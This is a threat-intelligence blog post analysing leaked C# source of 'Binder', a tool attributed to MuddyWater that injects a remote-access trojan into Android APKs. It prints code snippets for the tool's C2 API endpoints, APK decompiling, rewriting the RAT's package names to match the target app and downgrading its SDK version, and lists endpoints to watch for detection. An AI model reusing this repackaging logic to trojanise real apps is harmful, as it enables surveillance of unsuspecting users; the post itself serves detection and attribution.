MuddyWater: Binder Project (Part 2)

marcoramilli.com/2021/05/07/muddywater-binder-project-part-2/

View all posts by marcoramilli

May 7, 2021

Before getting in the following Blog Post I would suggest you to read the “Part 1” of MuddyWater Binder Project which is available HERE, where you might contestualize the Code Highlights.

Source Code Highlights

Now it’s time to get into more core pieces of code. Let’s start with the file `ConnectionHandler.cs` which is implementing the logic behind the Binder project. Analyzing the variable assignments at the beginning of the file we read the following code (snip)

```
[...]
RedLogClass s = new RedLogClass();
        private static string ip = "http://192.168.20.87";
        private string getTaskUrl = ip + "/api/get_sample";
        private string setStatusUrl = ip + "/api/set_status";
        private string setStatusBindUrl = ip + "/api/edit_bind";
        private string setPermRatUrl = ip + "/api/add_rat_permission";
        private string setPermApkUrl = ip + "/api/add_apk_permission";
        private string uploadUrl = ip + "/api/add_file";
        private string downloadUrl = ip + "/download/file/";
        private string ComparePermUrl = ip + "/api/compare_perm";
        private string token =
"TNwTIJStt8RXaDAuzEzGKXcFhJQ0bMApq2PmProIa0GHcITvFzslMf8pWP5kdTBtEaQDaHAsq8lCNZRDmz

[...]
```

Snipped from ConnectionHandler.cs

Many interesting strings are telling a lot about the project and the threat actor. First of all we have more API calls. For example `get_status` , `get_sample` , `add_apk_permission` are telling us that we might detect this implant by a simple network probe looking for such a calls. In other words we might detect Project Binder if we see those API on our network without the need to have a local engine. One more `token` is precious to understand that more than a developer is using/developing the project. Indeed the token in `ConnectionHandler.cs` is different to the one on `RedLogClass` plus the listening IP addresses are belonging to the same subnet but not the same PC. Both of these information are suggesting we have more than one developer on the project. Having the same private subnet `192.168.20.x` would probably highlithg that developers are working in a common office or in the same building sharing the LAN, which take me into the idea that an organized group of people are working on the project. On one hand having the same subnet it doesn't actually mean that people are on the same local area network, for example common private subnets such as `192.168.1.x` , `10.10.10.x` or `10.0.0.x` are super common in many domestic infrastructures, however when subnets are not so common (like in this case: `192.168.20.x` !".20″!) finding the same subnet on two different systems (remember we do have different tokens and different listening IPs and same listening ports) is quite rare and it might suggest more developers in the same local area network are working on it.

But let's focus back on the source code. Now it's ime to check another leaked file called `Functions.cs` . Here we might observe the internal Binder Functions. We are not talking about API calls but rather how internally Binder works to decompile and to inject malicious payloads into the original APK.

```
[...]
 public bool decompile(string rootPath, string id, string apkName)
        {
            string apkPath = rootPath + "apks\\" + id + "\\" + apkName + ".apk";
            string decompilePath = rootPath + "apks\\" + id + "\\" + apkName;

            if (Directory.Exists((decompilePath)))
            {
                try
                {
                    System.IO.Directory.Delete((decompilePath), true);

                }
                catch (Exception ex)
                {
                    this.PostLog("Exception", ex.Message);
                    System.IO.Directory.Move(decompilePath, decompilePath +
"_del");
                }
            }

            if (this.Execute("cmd.exe", ("/c java -jar \""
                            + (rootPath + "tools\\" + ("apktool.jar\" d \"\" -f
\""
                            + (apkPath + "\" -o \"\"" + decompilePath + "\""))))))
            {
                this.PostLog("Information", "decompiling complete.");
                return true;
            }
            this.PostLog("Warning", "decompiling error.");
            return false;
        }
[...]
```

Functions.cs snip

As you might appreciate from the previous code snip, Binder does not include internal native functionalities to decompile APK neither it uses external libraries included into the MVS project. It launches simple command lines utilities such a apktool.jar. From here we might deduce how the attacker machine should be configured. First of all, we have a Windows machine. Infact we might see from the decompiling function the way they run apktool by cmd.exe, which is a native terminal tool in Microsoft Windows. APKTOOLS is a Java program so we may assume that the attacker (developer) machine needs to have Java installed and working in the native envirenment. So the attacker PC is a Windows BOX with Old version of Visual studio and two important tools: a JVM and apktools set. Controls on code (by meaning input controlls) are quite light and it could be not such a difficult to inject a command codeon by alteranting the APK name including `;` interrumpting the `cmd.exe` execution.

```
[...]
 public bool editPnameOfAccessibility(string ratPath, string targetPath)
        {
            string orgAppKey = "net.ronixi.dada/";
            string FilePath1 = ratPath +
"\\smali\\net\\ronixi\\dada\\dialog\\Access.smali";
            string FilePath2 = ratPath +
"\\smali\\net\\ronixi\\dada\\plugins\\CheckAccessibilityClass.smali";

            string package = getPackage(targetPath + "\\AndroidManifest.xml");
            if (package != "NON")
            {
                string allText1 = File.ReadAllText(FilePath1);
                string output1 = allText1.Substring(0,
allText1.IndexOf(orgAppKey)) + package + "/" +
allText1.Substring(allText1.IndexOf(orgAppKey) + orgAppKey.Length);
                File.WriteAllText(FilePath1, output1);

                string allText2 = File.ReadAllText(FilePath2);
                string output2 = allText2.Substring(0,
allText2.IndexOf(orgAppKey)) + package + "/" +
allText2.Substring(allText2.IndexOf(orgAppKey) + orgAppKey.Length);
                File.WriteAllText(FilePath2, output2);

                this.PostLog("Information", "Accessibility Packages of Rat
Edited.");
                return true;
            }
            else
            {
                this.PostLog("Warning", "Accessibility Packages of Rat not
Edited.");
                return false;
            }

        }
[...]
```

One more function in Functions.cs snip

Super interesting to note which are the Organization Path Name before prepare the inkection. It’s like the organization name `ronixi` would be quite interesting to be monitored or to perform research for this string ver the following months. It is quite interesting what you can find on VT by searching for this string (HERE) – many wired and new payloads into PDF files. One more interesting action is coming from the following function (`editSDK`) in the same leaked source code. The attacker changes the SDK version to 22…

```
[...]

 public void editSDK(string targetPath)
        {
            string orgAppKey = "targetSdkVersion: '";
            string FilePath = targetPath + "\\apktool.yml";

            string allText = File.ReadAllText(FilePath);
            string output = allText.Substring(0, allText.IndexOf(orgAppKey) +
orgAppKey.Length) + "22" + allText.Substring(allText.IndexOf(orgAppKey) +
orgAppKey.Length + 2);
            File.WriteAllText(FilePath, output);

            this.PostLog("Information", "SDk version change to 22.");

        }
[...]
```

One more function in Functions.cs snip

One more sintax mistake on line 392 of Function.cs supporting the non English speaker hyphothesis – `this.PostLog("Information", "injecte code to lancher activity done.");` .

Conclusions

Threat attribution process is always hard and for several reasons an error oriented process (just think to false flags). According to Lab Dookhtegan this source code is allegedly attributed to MuddyWater, if it's is true, now we do know a little bit more about how do they develop and how do they "think code", nevertheless we do have some network signatures that could be used to detect Binder in network analyses. These are not strong IoC (this is why I didn't add an IoC section) since many different applications could potentially use the same API names but, if you consider an "union" of them (more single and different detections from the same source), we might endup if Binder is installed on your network or not. Interesting API to monitor: "/api/get_sample"; "/api/set_status"; "/api/edit_bind"; "/api/add_rat_permission"; "/api/add_apk_permission"; "/api/add_file"; "/download/file/"; "/api/compare_perm"; Have a nice weekend !